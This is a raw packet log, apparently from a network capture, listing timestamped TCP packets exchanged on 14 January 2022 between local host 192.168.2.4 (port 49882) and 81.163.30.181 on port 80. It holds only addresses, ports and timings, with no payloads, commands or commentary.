Jan 14, 2022 20:29:56.899501085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899537086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899538994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899575949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899615049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899616957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899653912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899693966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899694920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899732113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899771929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899811029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899811983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899848938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899888039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899888039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899926901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.899940014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.899966955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900007963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900008917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900044918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900084019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900084972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900122881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900161028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900161982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900198936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900238037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900278091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900295973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900317907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900324106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900355101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900394917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900434017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900470972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900510073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900521040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900547981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.900552034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.900774002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.908958912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.909008980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.909040928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.917371035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.958794117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.958865881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.958909035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.958940029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.958947897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.958991051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.958991051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959031105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959069014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959069967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959111929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959151983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959151983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959192038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959230900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959234953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959271908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959312916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959312916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959368944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959407091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959408998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959446907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959486961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959487915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959527016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959568024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959569931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959604979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959645033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959645987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959685087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959722996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959726095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959764004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959805012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959805965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959846020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959886074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.959887028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959923983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959964037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.959965944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960006952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960046053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960046053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960086107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960124969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960125923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960165024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960206032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960206032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960243940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960282087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960283041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960323095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960360050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960364103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960398912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960438013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960439920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960478067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960517883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960519075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960555077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960596085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960596085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960635900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960673094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960675001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960711956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960750103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960751057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960789919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960829020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960829973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960867882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960906029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.960907936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960947037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960985899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.960985899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961025000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961061954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961064100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961103916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961155891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961157084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961194038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961234093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961236954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961273909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961312056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961316109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961352110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961390018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961390018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961430073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961469889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961469889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961508036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961546898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961550951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961585999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961636066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961636066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961674929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961714029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961714029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961750984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961790085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961791039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961829901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961869001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.961903095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961945057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.961987019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962007999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962023973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962063074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962074041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962101936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962140083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962146044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962179899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962219954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962223053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962260008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962300062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962300062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962337971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962377071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962378979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962415934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962452888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962456942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962491989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962531090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962532997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962570906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962610960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962613106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962646961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962685108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962694883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962723970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962763071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962784052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962804079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962846041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962857008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962886095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962927103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.962941885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.962966919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963007927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963022947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.963047981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963087082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963100910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.963126898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963166952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963191032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.963207006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963248014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.963255882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.963890076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.967050076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.967107058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.967152119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.975328922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.975378990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.996362925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021349907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021408081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021445990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021485090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021493912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021526098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021531105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021564960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021605015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021605968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021646023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021683931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021686077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021724939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021764040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021764994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021805048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021855116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.021869898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021920919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021959066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.021961927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022001982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022041082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022043943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022082090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022119045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022123098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022162914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022200108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022201061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022241116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022278070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022305012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022317886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022356987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022392035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022393942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022444963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022444963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022485018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022525072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022525072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022566080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022603989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022609949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022644043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022684097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022686005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022721052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022759914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022761106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022799969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022840023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022840977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022880077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022917986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022921085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.022958040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.022998095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023003101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023041964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023081064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023083925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023121119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023160934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023163080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023200989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023238897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023240089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023277998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023317099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023318052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023354053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023391962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023394108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023432970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023472071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023473978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023514032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023550987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023555040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023591042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023626089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023631096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023669958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023705959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023709059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023746967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023787022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023787975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023827076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023864031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023864985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023905039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023941994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.023943901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.023983002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024020910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024023056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024060965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024099112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024101973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024142027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024178982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024183035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024219036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024257898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024257898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024295092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024333000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024334908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024374008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024410009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024413109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024454117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024491072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024492979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024529934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024569035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024569988 CET	80	49882	81.163.30.181	192.168.2.4
